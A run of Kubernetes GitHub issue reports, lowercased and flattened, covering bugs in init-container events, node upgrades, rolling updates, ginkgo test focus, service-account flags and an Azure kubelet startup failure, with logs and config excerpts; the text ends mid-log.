install tools:\r - others:\r

i had to use sysdig to figure what was happening on the wire:   {\ create\ :{\ _index\ :\ logstash-2016.03.01\ ,\ _type\ :\ fluentd\ ,\ _id\ :\ avm0mi2hq9rdus1z9dzu\ ,\ status\ :403,\ error\ :\ clusterblockexception blocked by:  forbidden/8/index write  api  ; \ }},   i know that logging every failure creates a dos vector, but perhaps  --emit-error-log-interval  could help here, assuming it does what i believe and hope it does?

i am testing init containers, my pod spec is as follows, where the first init container succeeds, while the second fails, with restart policy ==  always .      yaml apiversion: v1 kind: pod metadata:   labels:     name: example-init   name: example-init   annotations:     pod.alpha.kubernetes.io/init-containers: '        {         \ name\ : \ initone\ ,         \ image\ :\ busybox\ ,         \ command\ :  \ sh\ , \ -c\ , \ echo init one\         },{         \ name\ : \ inittwo\ ,         \ image\ :\ busybox\ ,         \ command\ :  \ sh\ , \ -c\ , \ exit 11\         } ' spec:   restartpolicy: always   containers:     - name: real-container       image: busybox       command:  \ sh\ , \ -c\ , \ echo hello from real container; sleep 60\         volumemounts:       - name: data         mountpath: /data/       resources:         limits:           cpu: \ 0.1\    volumes:     - emptydir: {}       name: data      i expect to see several  pulling ,  pulled ,  created ,  started  events of the  inittwo  container from  kubectl get events .  however the  subobject  of   pulling  and  pulled  events are in fact  initone  container:      shell  $ kubectl get events ... firstseen                       lastseen                        count     name           kind      subobject                      type      reason    source                message 2016-10-11 17:26:03 -0700 pdt   2016-10-11 17:26:03 -0700 pdt   1         example-init   pod       spec.initcontainers{initone}   normal    pulled    {kubelet 127.0.0.1}   successfully pulled image \ busybox\  2016-10-11 17:26:04 -0700 pdt   2016-10-11 17:26:04 -0700 pdt   1         example-init   pod       spec.initcontainers{initone}   normal    created   {kubelet 127.0.0.1}   created container with docker id 1b6aca5177f8; security: seccomp=unconfined  2016-10-11 17:26:04 -0700 pdt   2016-10-11 17:26:04 -0700 pdt   1         example-init   pod       spec.initcontainers{initone}   normal    started   {kubelet 127.0.0.1}   started container with docker id 1b6aca5177f8 2016-10-11 17:26:01 -0700 pdt   2016-10-11 17:26:05 -0700 pdt   2         example-init   pod       spec.initcontainers{initone}   normal    pulling   {kubelet 127.0.0.1}   pulling image \ busybox\  2016-10-11 17:26:03 -0700 pdt   2016-10-11 17:26:08 -0700 pdt   2         example-init   pod       spec.initcontainers{initone}   normal    pulled    {kubelet 127.0.0.1}   successfully pulled image \ busybox\  2016-10-11 17:26:08 -0700 pdt   2016-10-11 17:26:08 -0700 pdt   1         example-init   pod       spec.initcontainers{inittwo}   normal    created   {kubelet 127.0.0.1}   created container with docker id c031f01e5383; security: seccomp=unconfined  2016-10-11 17:26:08 -0700 pdt   2016-10-11 17:26:08 -0700 pdt   1         example-init   pod       spec.initcontainers{inittwo}   normal    started   {kubelet 127.0.0.1}   started container with docker id c031f01e5383 2016-10-11 17:26:01 -0700 pdt   2016-10-11 17:26:09 -0700 pdt   3         example-init   pod       spec.initcontainers{initone}   normal    pulling   {kubelet 127.0.0.1}   pulling image \ busybox\  2016-10-11 17:26:03 -0700 pdt   2016-10-11 17:26:11 -0700 pdt   3         example-init   pod       spec.initcontainers{initone}   normal    pulled    {kubelet 127.0.0.1}   successfully pulled image \ busybox\  2016-10-11 17:26:11 -0700 pdt   2016-10-11 17:26:11 -0700 pdt   1         example-init   pod       spec.initcontainers{inittwo}   normal    created   {kubelet 127.0.0.1}   created container with docker id cd3fcc7b086e; security: seccomp=unconfined  2016-10-11 17:26:12 -0700 pdt   2016-10-11 17:26:12 -0700 pdt   1         example-init   pod       spec.initcontainers{inittwo}   normal    started   {kubelet 127.0.0.1}   started container with docker id cd3fcc7b086e      i am pretty sure the  pulling  and  pulled  events come from  this function  https://github.com/kubernetes/kubernetes/blob/v1.5.0-alpha.0/pkg/kubelet/images/image_manager.go l114 , but when i printed out the  ref  object is uses, it showed the correct container name   inittwo  , so i am not really sure about the why it's saying  initone  in the  kubectl get events .

is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : ubuntu 16.10\r -   kernel    e.g.  uname -a  : linux provisioner-01 4.8.0-32-generic  34-ubuntu smp tue dec 13 14:30:43 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r \r   what happened  :\r i'm currently trying to use the kubernetes python client to change the current context of my cluster -- is there an easy way to do so? i've taken a look at the api but there does not seem to be a straightforward way of doing so.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r build-25c2f56967-5-v1.7.5-3\r \r   environment  :\r -   cloud provider or hardware configuration  : laptop  bare metal \r -   os    e.g. from /etc/os-release : fedora 26\r -   kernel    e.g.  uname -a  : linux localhost.localdomain 4.11.0-0.rc6.git0.1.fc26.x86_64  1 smp mon apr 10 19:45:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : make && hack/local-cluster-up.sh -o _output/bin\r \r \r   what happened  :\r built from  fb3353c and ran with local-cluster-up.sh\r \r all  kubectl  commands gave the following error:  serializer for text/plain; charset=utf-8 doesn't existserializer for text/plain; charset=utf-8 doesn't exist \r \r running  kubectl ... -v 8  showed the output: https://paste.fedoraproject.org/paste/npp5qoqhioxe07lpmkdxqv5m1undigyhyrlivl9gyde=/ \r \r   what you expected to happen  :\r for  kubectl  commands to work, and content-type to show  application/json \r \r   how to reproduce it    as minimally and precisely as possible :\r    \r  from fb3353c:\r make && hack/local-cluster-up.sh -o _output/bin\r  in another session\r kubectl proxy\r    \r

is this a bug report or feature request?  :\r   \r   what happened  :\r while debugging failing kube-proxy downgrade test, found node downgrade itself doesn't work.\r \r for downgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-latest-downgrade-kube-proxy-ds/72?log log/ :\r    \r i0905 20:21:51.004  sep  5 20:21:51.002: info: running /workspace/kubernetes/cluster/gce/upgrade.sh  -n v1.7.6-beta.0.8+ce630cdb7759f2 \r i0905 20:21:51.076  == pre-upgrade node os and kubelet versions ==\r i0905 20:21:51.337  name: \ bootstrap-e2e-master\ , osimage: \ container-optimized os from google\ , kubeletversion: \ v1.9.0-alpha.0.309+2f543f321d20ee\ \r i0905 20:21:51.338  name: \ bootstrap-e2e-minion-group-4nzm\ , osimage: \ container-optimized os from google\ , kubeletversion: \ v1.9.0-alpha.0.309+2f543f321d20ee\ \r i0905 20:21:51.338  name: \ bootstrap-e2e-minion-group-pxc4\ , osimage: \ container-optimized os from google\ , kubeletversion: \ v1.9.0-alpha.0.309+2f543f321d20ee\ \r i0905 20:21:51.338  name: \ bootstrap-e2e-minion-group-x732\ , osimage: \ container-optimized os from google\ , kubeletversion: \ v1.9.0-alpha.0.309+2f543f321d20ee\ \r i0905 20:21:51.346  project: k8s-jkns-e2e-protobuf\r i0905 20:21:51.347  network project: k8s-jkns-e2e-protobuf\r i0905 20:21:51.347  zone: us-central1-f\r i0905 20:21:53.326  instance_groups=bootstrap-e2e-minion-group\r i0905 20:21:53.327  node_names=bootstrap-e2e-minion-group-4nzm bootstrap-e2e-minion-group-pxc4 bootstrap-e2e-minion-group-x732\r i0905 20:21:53.512  == preparing node upgrade  to v1.7.6-beta.0.8+ce630cdb7759f2 . ==\r i0905 20:21:53.513  == ensuring that new node base os image matched the existing node base os image\r i0905 20:21:54.726  warning: permanently added 'compute.5384938094279703532'  rsa  to the list of known hosts.\r i0905 20:21:56.097  == upgrading node environment variables. ==\r i0905 20:21:57.293  /workspace/kubernetes/cluster/gce/../../cluster/../cluster/gce/util.sh: line 601: subnetwork: unbound variable\r i0905 20:21:57.294  attempt 1 to create bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2\r i0905 20:21:57.795  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r i0905 20:22:05.690  created  https://www.googleapis.com/compute/v1/projects/k8s-jkns-e2e-protobuf/global/instancetemplates/bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2 .\r i0905 20:22:05.855  name                                                          machine_type   preemptible  creation_timestamp\r i0905 20:22:05.856  bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2  n1-standard-2               2017-09-05t13:21:58.848-07:00\r i0905 20:22:05.909  instance template name: bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2\r i0905 20:22:05.909  == finished preparing node upgrade  to v1.7.6-beta.0.8+ce630cdb7759f2 . ==\r i0905 20:22:05.909  == upgrading nodes to v1.7.6-beta.0.8+ce630cdb7759f2 with max parallelism of 1. ==\r i0905 20:22:08.418  == failed to set-instance-template for bootstrap-e2e-minion-group to bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2 ==\r i0905 20:22:08.419  error:  gcloud.compute.instance-groups.managed.set-instance-template  could not fetch resource:\r i0905 20:22:08.419   - invalid resource usage: 'networks specified in instancetemplate must be the same as already set on instance group manager. expected: projects/k8s-jkns-e2e-protobuf/global/networks/bootstrap-e2e actual: projects/k8s-jkns-e2e-protobuf/global/networks/default'.\r i0905 20:22:08.423  sep  5 20:22:08.420: info: unexpected error occurred: error running /workspace/kubernetes/cluster/gce/upgrade.sh  -n v1.7.6-beta.0.8+ce630cdb7759f2 ; got error exit status 1, stdout \ == pre-upgrade node os and kubelet versions ==\ name: \\\ bootstrap-e2e-master\\\ , osimage: \\\ container-optimized os from google\\\ , kubeletversion: \\\ v1.9.0-alpha.0.309+2f543f321d20ee\\\ \ name: \\\ bootstrap-e2e-minion-group-4nzm\\\ , osimage: \\\ container-optimized os from google\\\ , kubeletversion: \\\ v1.9.0-alpha.0.309+2f543f321d20ee\\\ \ name: \\\ bootstrap-e2e-minion-group-pxc4\\\ , osimage: \\\ container-optimized os from google\\\ , kubeletversion: \\\ v1.9.0-alpha.0.309+2f543f321d20ee\\\ \ name: \\\ bootstrap-e2e-minion-group-x732\\\ , osimage: \\\ container-optimized os from google\\\ , kubeletversion: \\\ v1.9.0-alpha.0.309+2f543f321d20ee\\\ \ == ensuring that new node base os image matched the existing node base os image\ == upgrading node environment variables. ==\ instance template name: bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2\ == failed to set-instance-template for bootstrap-e2e-minion-group to bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2 ==\ error:  gcloud.compute.instance-groups.managed.set-instance-template  could not fetch resource:\  - invalid resource usage: 'networks specified in instancetemplate must be the same as already set on instance group manager. expected: projects/k8s-jkns-e2e-protobuf/global/networks/bootstrap-e2e actual: projects/k8s-jkns-e2e-protobuf/global/networks/default'.\ \ , stderr \ project: k8s-jkns-e2e-protobuf\ network project: k8s-jkns-e2e-protobuf\ zone: us-central1-f\ instance_groups=bootstrap-e2e-minion-group\ node_names=bootstrap-e2e-minion-group-4nzm bootstrap-e2e-minion-group-pxc4 bootstrap-e2e-minion-group-x732\ == preparing node upgrade  to v1.7.6-beta.0.8+ce630cdb7759f2 . ==\ warning: permanently added 'compute.5384938094279703532'  rsa  to the list of known hosts.\\r\ /workspace/kubernetes/cluster/gce/../../cluster/../cluster/gce/util.sh: line 601: subnetwork: unbound variable\ attempt 1 to create bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2\ warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\ created  https://www.googleapis.com/compute/v1/projects/k8s-jkns-e2e-protobuf/global/instancetemplates/bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2 .\ name                                                          machine_type   preemptible  creation_timestamp\ bootstrap-e2e-minion-template-v1-7-6-beta-0-8-ce630cdb7759f2  n1-standard-2               2017-09-05t13:21:58.848-07:00\ == finished preparing node upgrade  to v1.7.6-beta.0.8+ce630cdb7759f2 . ==\ == upgrading nodes to v1.7.6-beta.0.8+ce630cdb7759f2 with max parallelism of 1. ==\ \ \r    \r specifically:\r    \r cluster/gce/util.sh: line 601: subnetwork: unbound variable\r    \r \r seems to be introduced by https://github.com/kubernetes/kubernetes/pull/51739.\r \r @nicksardo @bowei

is this a bug report or feature request?  :\r  \r   what happened  :\r traditionally, we charge to quota all pods that are in a non-terminal phase. we have a user report that noted the behavior change in kube 1.5 for the node controller to no longer force delete pods whose nodes have been lost. instead, the pod is marked for deletion, and the reason is updated to state that the node is unreachable. the user expected the quota to be released. if the user was at their quota limit, their application may not be able to create a new replica given the current behavior.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign

failing job\r  gci-gce-alpha-features  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features \r \r    gubernator logs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/21594\r \r    error\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:203\r may  9 15:57:39.163: unexpected no endpoints return\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:213\r \r    triage\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gce-alpha-features&test=networking%20granular%20checks\r \r this test is currently failing in sig-release master-blocking suite. this could potentially block beta cut for v1.11 slated for 5/15 . @dcbw or @caseydavenport  can either you please triage this failure?\r \r  / /  @kubernetes/sig-network-bugs \r /assign @dcbw\r cc @jberkus @tpepper \r /milestone v1.11\r \r \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r when invoking ./test/e2e under ginkgo, for example with  ginkgo -focus=thereisnosuchttest ./test/e2e , the  e2e.test  binary no longer gets passed the  -ginkgo.focus  parameter  can be verified with  strace -e trace=execve -f  . this does not break the kubernetes ci because  kubetest  always uses  -ginkgo.focus . i and others  https://kubernetes.slack.com/messages/c09qz4dqb/  noticed this when testing manually.\r \r but parallel test execution also no longer works. ~~i suspect that some prow jobs now run slower than before~~. actually not, the kubernetes ci probably isn't affected because it uses a pre-built e2e.test binary. such binaries are always assumed to be ginkgo test suites by the ginkgo runner.\r \r   what you expected to happen  :\r \r the  ginkgo  test runner must recognize that  ./test/e2e  contains a ginkgo test suite and then treat it accordingly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  strace -e trace=execve -f ginkgo -focus=nosuchtest ./test/e2e \r \r   anything else we need to know?  :\r \r in ef5f1012f687cd633f29b5e9b2b1c7ded2145195, the code that initializes ginkgo was moved out of  e2e_test.go . this broke the  fileshaveginkgosuite  test because it loads all   _test.go  files and searches for  ginkgo  in them. in kubernetes, the  e2e_test.go  file no longer contains the magic strings.\r \r https://github.com/onsi/ginkgo/blob/dbaca8e5ae554fdc9905dabc83fa43d806f5d7ab/ginkgo/testsuite/test_suite.go l101-l115\r \r  /cc @jayunit100

rolling-update tasks which worked since v1.0 are now getting stuck mid-way since v1.2  i'm rolling a multi-container pod from  sidekiq-rollout  to  sidekiq . the target number of replicas is 4. the first 2 pods are rolled correctly, but the job hangs and times out  5min  after the first 2 iterations:      name              desired   current   age sidekiq           2         2         56s sidekiq-rollout   2         3         57s          name            ready     status    restarts   age       app                component   deployment sidekiq-3mni0   3/3       running   0          25m       fl-backend-rails   sidekiq     82        <- new sidekiq-8glbk   3/3       running   0          37m       fl-backend-rails   sidekiq     81 sidekiq-fe1r3   3/3       running   0          37m       fl-backend-rails   sidekiq     81 sidekiq-r7c06   3/3       running   0          25m       fl-backend-rails   sidekiq     82        <- new      controller manager logs:      mar 21 12:31:42 node01 kube-controller-manager 8697 : i0321 12:31:42.687964    8697 replication_controller.go:510  replication controller has been deleted bodyweight-api/sidekiq mar 21 12:31:46 node01 kube-controller-manager 8697 : i0321 12:31:46.191549    8697 replication_controller.go:434  too few \ bodyweight-api\ /\ sidekiq\  replicas, need 1, creating 1 mar 21 12:31:46 node01 kube-controller-manager 8697 : i0321 12:31:46.215334    8697 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ bodyweight-api\ , name:\ sidekiq\ , uid:\ de5b3478-ef60-11e5-b33a-0a59d1e77755\ , apiversion:\ v1\ , resourceversion:\ 114094222\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: sidekiq-r7c06 mar 21 12:32:01 node01 kube-controller-manager 8697 : i0321 12:32:01.725368    8697 replication_controller.go:451  too many \ bodyweight-api\ /\ sidekiq-rollout\  replicas, need 3, deleting 1 mar 21 12:32:01 node01 kube-controller-manager 8697 : i0321 12:32:01.772642    8697 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ bodyweight-api\ , name:\ sidekiq-rollout\ , uid:\ ddfa58e1-ef60-11e5-b33a-0a59d1e77755\ , apiversion:\ v1\ , resourceversion:\ 114094394\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: sidekiq-2wjbr mar 21 12:32:07 node01 kube-controller-manager 8697 : i0321 12:32:07.757771    8697 replication_controller.go:434  too few \ bodyweight-api\ /\ sidekiq\  replicas, need 2, creating 1 mar 21 12:32:07 node01 kube-controller-manager 8697 : i0321 12:32:07.809994    8697 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ bodyweight-api\ , name:\ sidekiq\ , uid:\ de5b3478-ef60-11e5-b33a-0a59d1e77755\ , apiversion:\ v1\ , resourceversion:\ 114094461\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: sidekiq-3mni0 mar 21 12:37:16 node01 kube-controller-manager 8697 : i0321 12:37:16.324724    8697 replication_controller.go:451  too many \ bodyweight-api\ /\ sidekiq-rollout\  replicas, need 2, deleting 1 mar 21 12:37:16 node01 kube-controller-manager 8697 : e0321 12:37:16.327923    8697 controller_utils.go:300  clobbering existing delete keys: map bodyweight-api/sidekiq-2wjbr:{}  mar 21 12:37:16 node01 kube-controller-manager 8697 : i0321 12:37:16.350471    8697 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ bodyweight-api\ , name:\ sidekiq-rollout\ , uid:\ ddfa58e1-ef60-11e5-b33a-0a59d1e77755\ , apiversion:\ v1\ , resourceversion:\ 114094650\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: sidekiq-bfob2      note the time it took to scale down  sidekiq-rollout  on the second iteration, although all the pods marked _new_ transitioned to a  running  state in less than 10sec.        edit    my rc selector matches 3 labels. after the timeout the 2 rcs look like:      - apiversion: v1   kind: replicationcontroller   metadata:     name: sidekiq-rollout   spec:     replicas: 2     selector:       app: fl-backend-rails       component: sidekiq       deployment: \ 81\   - apiversion: v1   kind: replicationcontroller   metadata:     name: sidekiq   spec:     replicas: 2     selector:       app: fl-backend-rails       component: sidekiq       deployment: \ 82\

for example 360mb in version 1.28.2\r \r cc @crassirostris @igorpeshansky @qingling128\r \r

- move sig/instrumentation e2e tests to a separate directory\r - add a new tab to testgrid with all sig/instrumentation tests

is this a bug report or feature request?  \r  \r   what happened  :\r kubectl --as=foo doesn't work inside pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.  configure service accounts for pods  https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ \r 2. run following commands\r    shell\r fujitsu@kubenet-01:~$ kubectl exec -it counter sh\r /   kubectl get pods\r error from server  forbidden : pods \ \  is forbidden: user \ system:serviceaccount:default:default\  cannot list pods in the namespace \ default\ .\r /   kubectl get pods --as=jane\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r @deads2k @liggitt \r \r i will research and fix this issue myself.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r during startup  controller-manager  shows the following warning:\r \r  controllermanager.go:138  --use-service-account-credentials was specified without providing a --service-account-private-key-file \r \r however  --service-account-private-key-file  is set and refers to a valid x.509 private key file.\r \r all service accounts seem to be created despite the warning.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start controller-manager with\r    json\r         \ name\ : \ kube-controller-manager\ ,\r         \ image\ : \ quay.io/coreos/hyperkube:v1.8.0_coreos.0\ ,\r         \ command\ :  \r           \ kube-controller-manager\ ,\r           \ --address=127.0.0.1\ ,\r           \ --allocate-node-cidrs\ ,\r           \ --cluster-cidr=172.17.0.0/16\ ,\r           \ --cluster-signing-cert-file=/etc/kubernetes/tls/ca.pem\ ,\r           \ --cluster-signing-key-file=/etc/kubernetes/tls/ca.key\ ,\r           \ --kubeconfig=/etc/kubernetes/kubeconfig\ ,\r           \ --root-ca-file=/etc/kubernetes/tls/ca.pem\ ,\r           \ --service-account-private-key-file=/etc/kubernetes/tls/host.key\ ,\r           \ --service-cluster-ip-range=10.0.0.0/16\ ,\r           \ --use-service-account-credentials\ \r          ,\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.0\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r

is this a bug report or feature request?  :\r  / umbrella issue:  56062 \r @kubernetes/sig-scalability-bugs \r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8136 failed with:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:191\r scaling { replicationcontroller} load-small-163\r expected error:\r     < errors.errorstring | 0xc420ecfc30>: {\r         s: \ error while scaling rc load-small-163 to 2 replicas: watch closed before until timeout\ ,\r     }\r     error while scaling rc load-small-163 to 2 replicas: watch closed before until timeout\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:592\r    \r \r @shyamjvs this error message sounds a little like a transient failure that should be retried, rather than cause the test to fail. or am i misunderstanding it?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r kubelet fails to start on a standard vm with msi enabled with  failed to run kubelet: could not init cloud provider \ azure\ : no credentials provided for aad application .\r \r provider config:\r \r    \r sudo cat /etc/kubernetes/config/azure.json\r {\r         \ cloud\ : \ azurepubliccloud\ ,\r         \ tenantid\ : \ redacted\ ,\r         \ subscriptionid\ : \ redacted\ ,\r         \ resourcegroup\ : \ pawel\ ,\r         \ location\ : \ westeurope\ ,\r         \ subnetname\ : \ pawel-virtualnetwork-workersubnet\ ,\r         \ securitygroupname\ : \ pawel-workersecuritygroup\ ,\r         \ vnetname\ : \ pawel-virtualnetwork\ ,\r         \ vmtype\ : \ standard\ ,\r         \ routetablename\ : \ pawel-routetable\ ,\r         \ usemanagedidentityextension\ : true\r }\r    \r \r logs:\r \r    \r mar 02 06:31:42 pawel-master-1 systemd 1 : started k8s-kubelet.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --address has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --port has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --machine-id-file has been deprecated, this is a cadvisor flag that was mistakenly registered with the kubelet. due to legacy concerns, it will follow the standard cli deprecation timeline before being removed.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --cadvisor-port has been deprecated, the default will change to 0  disabled  in 1.12, and the cadvisor port will be removed entirely in 1.13\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --healthz-bind-address has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --healthz-port has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --cluster-dns has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --cluster-domain has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --allow-privileged has been deprecated, will be removed in a future version\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --pod-manifest-path has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --kube-reserved has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : flag --system-reserved has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.207936   92348 flags.go:27  flag: --address=\ 10.14.0.4\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208003   92348 flags.go:27  flag: --allow-privileged=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208022   92348 flags.go:27  flag: --alsologtostderr=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208038   92348 flags.go:27  flag: --anonymous-auth=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208052   92348 flags.go:27  flag: --application-metrics-count-limit=\ 100\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208077   92348 flags.go:27  flag: --authentication-token-webhook=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208092   92348 flags.go:27  flag: --authentication-token-webhook-cache-ttl=\ 2m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208113   92348 flags.go:27  flag: --authorization-mode=\ alwaysallow\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208129   92348 flags.go:27  flag: --authorization-webhook-cache-authorized-ttl=\ 5m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208154   92348 flags.go:27  flag: --authorization-webhook-cache-unauthorized-ttl=\ 30s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208168   92348 flags.go:27  flag: --azure-container-registry-config=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208182   92348 flags.go:27  flag: --boot-id-file=\ /proc/sys/kernel/random/boot_id\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208196   92348 flags.go:27  flag: --bootstrap-checkpoint-path=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208209   92348 flags.go:27  flag: --bootstrap-kubeconfig=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208233   92348 flags.go:27  flag: --cadvisor-port=\ 4194\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208253   92348 flags.go:27  flag: --cert-dir=\ /var/lib/kubelet/pki\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208267   92348 flags.go:27  flag: --cgroup-driver=\ cgroupfs\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.208280   92348 flags.go:27  flag: --cgroup-root=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 